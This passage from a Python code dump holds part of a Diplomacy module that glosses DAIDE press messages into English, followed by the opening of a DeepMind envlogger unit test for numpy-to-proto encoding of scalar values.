the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'SUP' if random.choice([True, True, False]): if random.choice([True, False]): self.supporter = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.supporter = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.supporter = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] if random.choice([True, True, False]): if random.choice([True, False]): self.supported = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.supported = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.supported = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] elif len(thelists) == 3: self.operator = thelists[1] self.supporter = thelists[0] self.supported = thelists[2] def formenglish(self): # type () -> str """ Creates an English expression about the hold support in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the hold support in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.supporter[0]]['Objective'] + \ ' provides support with their ' + \ helpers.unitdict[self.supporter[1]]['Objective'] + \ ' in ' + \ helpers.provincedict[self.supporter[2]]['Objective'] + \ ' for ' + \ helpers.powerdict[self.supported[0]]['Objective'] + \ ' to hold their ' + \ helpers.unitdict[self.supported[1]]['Objective'] + \ ' in ' + \ helpers.provincedict[self.supported[2]]['Objective'] + '.' if 'Expert' in self.utterance.tones: supportertype = 'A' if self.supporter[1] == 'FLT': supportertype = 'F' supportedtype = 'A' if self.supported[1] == 'FLT': supportedtype = 'F' self.simpleenglish += ' (' + supportertype + ' ' + self.supporter[2] + ' S ' + supportedtype + ' ' + self.supported[2] + ' H).' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.supporter) + ') SUP (' + ' '.join(self.supported) + ')' class PressSupportMove(PressMessage): """ The game-related content of a move support. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'SUP' if random.choice([True, True, False]): if random.choice([True, False]): self.supporter = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.supporter = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.supporter = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] if random.choice([True, True, False]): if random.choice([True, False]): self.supported = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.supported = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.supported = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] provlist = [curprov for curprov in helpers.provincelist if curprov != self.supporter[2] and curprov != self.supported[2]] self.province = random.choice(provlist) elif len(thelists) == 5: self.operator = thelists[1] self.supporter = thelists[0] self.supported = thelists[2] self.province = thelists[4] def formenglish(self): # type () -> str """ Creates an English expression about the move support in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the move support in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.supporter[0]]['Objective'] + \ ' provides support with their ' + \ helpers.unitdict[self.supporter[1]]['Objective'] + \ ' in ' + \ helpers.provincedict[self.supporter[2]]['Objective'] + \ ' so ' + \ helpers.powerdict[self.supported[0]]['Objective'] + \ ' can move their ' + \ helpers.unitdict[self.supported[1]]['Objective'] + \ ' from ' + \ helpers.provincedict[self.supported[2]]['Objective'] + \ ' into ' + \ helpers.provincedict[self.province]['Objective'] + '.' if 'Expert' in self.utterance.tones: supportertype = 'A' if self.supporter[1] == 'FLT': supportertype = 'F' supportedtype = 'A' if self.supported[1] == 'FLT': supportedtype = 'F' self.simpleenglish += ' (' + supportertype + ' ' + self.supporter[2] + ' S ' + supportedtype + ' ' + self.supported[2] + ' -> ' + self.province + ').' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.supporter) + ') SUP (' + ' '.join(self.supported) + ') MTO ' + self.province class PressConvoy(PressMessage): """ The game-related content of a convoy. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'CVY' if random.choice([True, True, False]): if random.choice([True, False]): self.convoyunit = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.convoyunit = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.convoyunit = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] if random.choice([True, True, False]): if random.choice([True, False]): self.convoyedunit = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.convoyedunit = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.convoyedunit = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] provlist = [curprov for curprov in helpers.provincelist if curprov != self.convoyunit[2] and curprov != self.convoyedunit[2]] self.province = random.choice(provlist) elif len(thelists) == 5: self.operator = thelists[1] self.convoyunit = thelists[0] self.convoyedunit = thelists[2] self.province = thelists[4] def formenglish(self): # type () -> str """ Creates an English expression about the convoy in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the convoy in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.convoyunit[0]]['Objective'] + \ '\'s ' + \ helpers.unitdict[self.convoyunit[1]]['Objective'] + \ ' in ' + \ helpers.provincedict[self.convoyunit[2]]['Objective'] + \ ' convoys ' + \ helpers.powerdict[self.convoyedunit[0]]['Objective'] + \ '\'s ' + \ helpers.unitdict[self.convoyedunit[1]]['Objective'] + \ ' from ' + \ helpers.provincedict[self.convoyedunit[2]]['Objective'] + \ ' into ' + \ helpers.provincedict[self.province]['Objective'] + '.' if 'Expert' in self.utterance.tones: convoytype = 'F' convoyedtype = 'A' self.simpleenglish += ' (' + convoytype + ' ' + self.convoyunit[2] + ' C ' + convoyedtype + ' ' + self.convoyedunit[2] + ' -> ' + self.province + ').' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.convoyunit) + ') CVY (' + ' '.join(self.convoyedunit) + ') CTO ' + self.province class PressConvoyVia(PressMessage): """ The game-related content of a convoy over water. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'CTO' if random.choice([True, True, False]): if random.choice([True, False]): self.convoyedunit = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.convoyedunit = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.convoyedunit = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] provlist = [curprov for curprov in helpers.provincelist if curprov != self.convoyedunit[2]] self.destination = random.choice(provlist) self.searoute = random.sample(helpers.sealist, random.randint(1, 4)) elif len(thelists) == 5: self.operator = thelists[1] self.convoyedunit = thelists[0] self.destination = thelists[2] self.searoute = thelists[4] def formenglish(self): # type () -> str """ Creates an English expression about the convoy over water in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the convoy over water in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.convoyedunit[0]]['Objective'] + \ '\'s ' + \ helpers.unitdict[self.convoyedunit[1]]['Objective'] + \ ' in ' + \ helpers.provincedict[self.convoyedunit[2]]['Objective'] + \ ' moves by convoy to ' + \ helpers.provincedict[self.destination]['Objective'] + \ ' following this path: ' + \ helpers.listOfProvinces(self.searoute) + '.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.convoyedunit) + ') CTO ' + self.destination + ' VIA (' + ' '.join(self.searoute) + ')' class PressRetreat(PressMessage): """ The game-related content of a retreat. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'RTO' if random.choice([True, True, False]): if random.choice([True, False]): self.unit = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] provlist = [curprov for curprov in helpers.provincelist if curprov != self.unit[2]] self.destination = random.choice(provlist) elif len(thelists) == 3: self.operator = thelists[1] self.unit = thelists[0] self.destination = thelists[2] def formenglish(self): # type () -> str """ Creates an English expression about the retreat in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the retreat in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.unit[0]]['Objective'] + \ '\'s ' + \ helpers.unitdict[self.unit[1]]['Objective'] + \ ' retreats from ' + \ helpers.provincedict[self.unit[2]]['Objective'] + \ ' to ' + \ helpers.provincedict[self.destination]['Objective'] + '.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.unit) + ') RTO ' + self.destination class PressDisband(PressMessage): """ The game-related content of a disband. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'DSB' if random.choice([True, True, False]): if random.choice([True, False]): self.unit = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] elif len(thelists) == 2: self.operator = thelists[1] self.unit = thelists[0] def formenglish(self): # type () -> str """ Creates an English expression about the disband in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the disband in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.unit[0]]['Objective'] + \ '\'s ' + \ helpers.unitdict[self.unit[1]]['Objective'] + \ ' in ' + \ helpers.provincedict[self.unit[2]]['Objective'] + \ ' retreats from the board.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.unit) + ') DSB' class PressBuild(PressMessage): """ The game-related content of a build. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'BLD' if random.choice([True, True, False]): if random.choice([True, False]): self.unit = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.supplylist)] else: self.unit = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.supplylist)] else: self.unit = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.supplylist)] elif len(thelists) == 2: self.operator = thelists[1] self.unit = thelists[0] def formenglish(self): # type () -> str """ Creates an English expression about the build in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the build in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.unit[0]]['Objective'] + \ ' builds a new ' + \ helpers.unitdict[self.unit[1]]['Objective'] + \ ' in ' + \ helpers.provincedict[self.unit[2]]['Objective'] + \ '.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.unit) + ') BLD' class PressRemove(PressMessage): """ The game-related content of a remove. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'REM' if random.choice([True, True, False]): if random.choice([True, False]): self.unit = [utterance.frompower, random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(utterance.topowers), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] else: self.unit = [random.choice(helpers.powerlist), random.choice(helpers.unitlist), random.choice(helpers.provincelist)] elif len(thelists) == 2: self.operator = thelists[1] self.unit = thelists[0] def formenglish(self): # type () -> str """ Creates an English expression about the remove in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the remove in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.unit[0]]['Objective'] + \ ' removes their ' + \ helpers.unitdict[self.unit[1]]['Objective'] + \ ' in ' + \ helpers.provincedict[self.unit[2]]['Objective'] + \ ' from the board.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return '(' + ' '.join(self.unit) + ') REM' class PressWaive(PressMessage): """ The game-related content of a waive. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'WVE' if random.choice([True, True, False]): if random.choice([True, False]): self.power = utterance.frompower else: self.power = random.choice(utterance.topowers) else: self.power = random.choice(helpers.powerlist) elif len(thelists) == 2: self.operator = thelists[1] self.power = thelists[0] def formenglish(self): # type () -> str """ Creates an English expression about the waive in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the waive in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.powerdict[self.power]['Objective'] + \ ' waives their build turn.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return self.power + ' WVE' def messageFactory(utterance, container, daidelists): # type: (PressUtterance, PressMessage, []) -> PressMessage """ Creates the objects and subobjects corresponding to a nested DAIDE list :param utterance: the original DAIDE utterance :type utterance: PressUtterance :param container: the DAIDE message that contains this one :type container: PressMessage :param daidelists: the parsed nested DAIDE expression :type daidelists: [] :return: a DAIDE message :rtype: PressMessage """ if daidelists is None or len(daidelists) == 0: return PressMessage(utterance, container) if daidelists[0] == 'FCT': return PressFact(utterance, container, daidelists) elif daidelists[0] == 'PRP': return PressProposal(utterance, container, daidelists) elif daidelists[0] == 'YES': return PressAccept(utterance, container, daidelists) elif daidelists[0] == 'REJ': return PressReject(utterance, container, daidelists) elif daidelists[0] == 'CCL': return PressCancel(utterance, container, daidelists) elif daidelists[0] == 'HUH': return PressHuh(utterance, container, daidelists) elif daidelists[0] == 'BWX': return PressIgnore(utterance, container, daidelists) elif daidelists[0] == 'PCE': return PressPeace(utterance, container, daidelists) elif daidelists[0] == 'ALY': return PressAlliance(utterance, container, daidelists) elif daidelists[0] == 'DMZ': return PressDMZ(utterance, container, daidelists) elif daidelists[0] == 'DRW': return PressDraw(utterance, container, daidelists) elif daidelists[0] == 'SLO': return PressSolo(utterance, container, daidelists) elif daidelists[0] == 'ORR': return PressOr(utterance, container, daidelists) elif daidelists[0] == 'AND': return PressAnd(utterance, container, daidelists) elif daidelists[0] == 'IFF': return PressIf(utterance, container, daidelists) elif daidelists[0] == 'NOT': return PressNot(utterance, container, daidelists) elif daidelists[0] == 'NAR': return PressNar(utterance, container, daidelists) elif daidelists[0] == 'XDO': return PressMoveExecute(utterance, container, daidelists) elif len(daidelists) == 2 and daidelists[1] == 'HLD': return PressHold(utterance, container, daidelists) elif len(daidelists) == 3 and daidelists[1] == 'MTO': return PressMoveInto(utterance, container, daidelists) elif len(daidelists) == 3 and daidelists[1] == 'SUP': return PressSupportHold(utterance, container, daidelists) elif len(daidelists) == 5 and daidelists[1] == 'SUP' and daidelists[3] == 'MTO': return PressSupportMove(utterance, container, daidelists) elif len(daidelists) == 5 and daidelists[1] == 'CVY' and daidelists[3] == 'CTO': return PressConvoy(utterance, container, daidelists) elif len(daidelists) == 5 and daidelists[1] == 'CVY' and daidelists[3] == 'VIA': return PressConvoyVia(utterance, container, daidelists) elif len(daidelists) == 3 and daidelists[1] == 'RTO': return PressRetreat(utterance, container, daidelists) elif len(daidelists) == 2 and daidelists[1] == 'DSB': return PressDisband(utterance, container, daidelists) elif len(daidelists) == 2 and daidelists[1] == 'BLD': return PressBuild(utterance, container, daidelists) elif len(daidelists) == 2 and daidelists[1] == 'REM': return PressRemove(utterance, container, daidelists) elif len(daidelists) == 2 and daidelists[1] == 'WVE': return PressWaive(utterance, container, daidelists) else: return PressMessage(utterance, container) def randomFactory(utterance, container, daideword): # type: (PressUtterance, PressMessage, str) -> PressMessage """ Randomly constructs the objects and subobjects corresponding to a DAIDE word :param utterance: the original DAIDE utterance :type utterance: PressUtterance :param container: the DAIDE message that contains this one :type container: PressMessage :param daideword: the DAIDE keyword for this message (PRP, FCT, etc.) :type daideword: str :return: a randomly constructed DAIDE message :rtype: PressMessage """ if daideword == 'FCT': return PressFact(utterance, container, None) elif daideword == 'PRP': return PressProposal(utterance, container, None) elif daideword == 'YES': return PressAccept(utterance, container, None) elif daideword == 'REJ': return PressReject(utterance, container, None) elif daideword == 'CCL': return PressCancel(utterance, container, None) elif daideword == 'HUH': return PressHuh(utterance, container, None) elif daideword == 'BWX': return PressIgnore(utterance, container, None) elif daideword == 'PCE': return PressPeace(utterance, container, None) elif daideword == 'ALY': return PressAlliance(utterance, container, None) elif daideword == 'DMZ': return PressDMZ(utterance, container, None) elif daideword == 'DRW': return PressDraw(utterance, container, None) elif daideword == 'SLO': return PressSolo(utterance, container, None) elif daideword == 'ORR': return PressOr(utterance, container, None) elif daideword == 'AND': return PressAnd(utterance, container, None) elif daideword == 'IFF': return PressIf(utterance, container, None) elif daideword == 'NOT': return PressNot(utterance, container, None) elif daideword == 'NAR': return PressNar(utterance, container, None) elif daideword == 'XDO': return PressMoveExecute(utterance, container, None) elif daideword == 'HLD': return PressHold(utterance, container, None) elif daideword == 'MTO': return PressMoveInto(utterance, container, None) elif daideword == 'SUP': return PressSupportHold(utterance, container, None) elif daideword == 'SUPMTO': return PressSupportMove(utterance, container, None) elif daideword == 'CVYCTO': return PressConvoy(utterance, container, None) elif daideword == 'CVYVIA': return PressConvoyVia(utterance, container, None) elif daideword == 'RTO': return PressRetreat(utterance, container, None) elif daideword == 'DSB': return PressDisband(utterance, container, None) elif daideword == 'BLD': return PressBuild(utterance, container, None) elif daideword == 'REM': return PressRemove(utterance, container, None) elif daideword == 'WVE': return PressWaive(utterance, container, None) else: return PressMessage(utterance, container) def daide2gloss(daide, tones=None): # type: (str, []) -> str """ Create a new utterance from DAIDE, return an English gloss :param daide: the press utterance in DAIDE syntax :type daide: str :param tones: the tones to use when forming English :type tones: [] """ if daide is None or len(daide.strip()) < 3: return 'Ahem.' utterance = PressUtterance(daide, tones) utterance.formenglish() return utterance.english

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ed870adf1760ddaf6696e4c422cf0627e4165570

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py

Python

envlogger/converters/codec_test.py

deepmind/envlogger

bbe20d7b621ffc76091219c52750f95acfa18157

[ "Apache-2.0" ]

34

2021-08-23T14:10:08.000Z

2022-03-25T03:26:52.000Z

envlogger/converters/codec_test.py

deepmind/envlogger

bbe20d7b621ffc76091219c52750f95acfa18157

[ "Apache-2.0" ]

3

2021-12-07T17:09:04.000Z

2022-03-31T17:10:02.000Z

envlogger/converters/codec_test.py

deepmind/envlogger

bbe20d7b621ffc76091219c52750f95acfa18157

[ "Apache-2.0" ]

2

2021-10-05T16:06:19.000Z

2021-11-06T21:40:43.000Z

# coding=utf-8 # Copyright 2022 DeepMind Technologies Limited.. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for codec.""" from absl.testing import absltest from absl.testing import parameterized from envlogger.converters import codec from envlogger.proto import storage_pb2 import numpy as np class NumpyConvertersTest(parameterized.TestCase): ############################################################################## # # Datum tests (i.e. not Array/Tuple/Dict of Datums) # ############################################################################## ############################################################################## # # Scalar tests # ############################################################################## ############################################################################## # Empty and None values ############################################################################## def test_encode_none(self): """The proto should be completely empty if given a None value.""" self.assertEqual(codec.encode(None), storage_pb2.Data()) def test_decode_none(self): """Decoding a None value should produce None.""" self.assertIsNone(codec.decode(None)) def test_decode_empty_proto(self): """Decoding an empty proto should produce None.""" user_data = storage_pb2.Data() self.assertIsNone(codec.decode(user_data)) def test_encode_empty_ndarray(self): """The proto should be completely empty if given zero shape numpy array.""" self.assertEqual(codec.encode(np.array([])), storage_pb2.Data()) # Also test other explicit types. self.assertEqual( codec.encode(np.array([], dtype='float')), storage_pb2.Data()) def test_identity_none(self): """Encoding and decoding it back should not change its value.""" self.assertIsNone(codec.decode(codec.encode(None))) ############################################################################## # float32 ############################################################################## def test_encode_32bit_float_scalar(self): """Proto supports float32 so we expect no precision loss in encoding.""" expected = storage_pb2.Data() datum = expected.datum datum.values.float_values.append(np.float32(3.14)) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(np.float32(3.14)), expected) def test_decode_32bit_float_scalar(self): """Proto supports float32 so we expect no precision loss in decoding.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.float_values.append(np.float32(3.14)) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.float32) self.assertEqual(decoded, np.float32(3.14)) def test_identity_32bit_float_scalar(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.float32(3.14))) self.assertIsInstance(decoded, np.float32) self.assertEqual(decoded, np.float32(3.14)) ############################################################################## # float32 buffer ############################################################################## def test_decode_32bit_float_scalar_buffer(self): """Proto supports float32 so we expect no precision loss in decoding.""" user_data = storage_pb2.Data() datum = user_data.datum # 3.14159 in big-endian byte array. datum.values.float_values_buffer = b'\x40\x49\x0f\xd0' datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.float32) self.assertEqual(decoded, np.float32(3.14159)) ############################################################################## # float64 (aka double) ############################################################################## def test_encode_double_scalar(self): """Proto supports double so we expect no precision loss in encoding.""" # Ordinary floats in python are 64-bit floats. expected = storage_pb2.Data() datum = expected.datum datum.values.double_values.append(3.14159265358979) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(3.14159265358979), expected) # np.float64 should also work. self.assertEqual(codec.encode(np.float64(3.14159265358979)), expected) def test_decode_double_scalar(self): """Proto supports double so we expect no precision loss in decoding.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.double_values.append(3.14159265358979) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.float64) self.assertEqual(decoded, np.float64(3.14159265358979)) def test_identity_double_scalar(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.float64(3.14159265358979))) self.assertIsInstance(decoded, np.float64) self.assertEqual(decoded, np.float64(3.14159265358979)) ############################################################################## # int32 ############################################################################## def test_encode_int32_scalar(self): """Proto supports int32 so we expect no precision loss in encoding.""" expected = storage_pb2.Data() datum = expected.datum datum.values.int32_values.append(np.int32(3)) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(np.int32(3)), expected) def test_decode_int32_scalar(self): """Proto supports int32 so we expect no precision loss in encoding.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.int32_values.append(np.int32(-32)) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.int32) self.assertEqual(decoded, np.int32(-32)) def test_identity_int32_scalar(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.int32(-3))) self.assertIsInstance(decoded, np.int32) self.assertEqual(decoded, np.int32(-3)) ############################################################################## # int64 ############################################################################## def test_encode_int64_scalar(self): """Proto supports int64 so we expect no precision loss in encoding.""" expected = storage_pb2.Data() datum = expected.datum datum.values.int64_values.append(np.int64(-3)) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(np.int64(-3)), expected) def test_decode_int64_scalar(self): """Proto supports int64 so we expect no precision loss in decoding.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.int64_values.append(np.int64(-64)) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.int64) self.assertEqual(decoded, np.int64(-64)) def test_identity_int64_scalar(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.int64(-1234567890123))) self.assertIsInstance(decoded, np.int64) self.assertEqual(decoded, np.int64(-1234567890123)) ############################################################################## # uint32 ############################################################################## def test_encode_uint32_scalar(self): """Proto supports uint32 so we expect no precision loss in encoding.""" expected = storage_pb2.Data() datum = expected.datum datum.values.uint32_values.append(np.uint32(12345)) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(np.uint32(12345)), expected) def test_decode_uint32_scalar(self): """Proto supports uint32 so we expect no precision loss in decoding.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.uint32_values.append(np.uint32(32)) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( np.isscalar(decoded), 'The returned data should be a plain scalar.\n' f'Actual type: {type(decoded)}\n' f'user_data: {user_data}\n' f'decoded: {decoded}') self.assertIsInstance(decoded, np.uint32) self.assertEqual(decoded, np.uint32(32)) def test_identity_uint32_scalar(self): """Encoding and decoding it back should not change its value.""" decoded = codec.decode(codec.encode(np.uint32(4294967295))) self.assertIsInstance(decoded, np.uint32) self.assertEqual(decoded, np.uint32(4294967295)) ############################################################################## # uint64 ############################################################################## def test_encode_uint64_scalar(self): """Proto supports uint64 so we expect no precision loss in encoding.""" expected = storage_pb2.Data() datum = expected.datum datum.values.uint64_values.append(np.uint64(12345)) datum.shape.dim.add().size = -438 self.assertEqual(codec.encode(np.uint64(12345)), expected) def test_decode_uint64_scalar(self): """Proto supports uint64 so we expect no precision loss in decoding.""" user_data = storage_pb2.Data() datum = user_data.datum datum.values.uint64_values.append(np.uint64(64)) datum.shape.dim.add().size = -438 decoded = codec.decode(user_data) self.assertTrue( 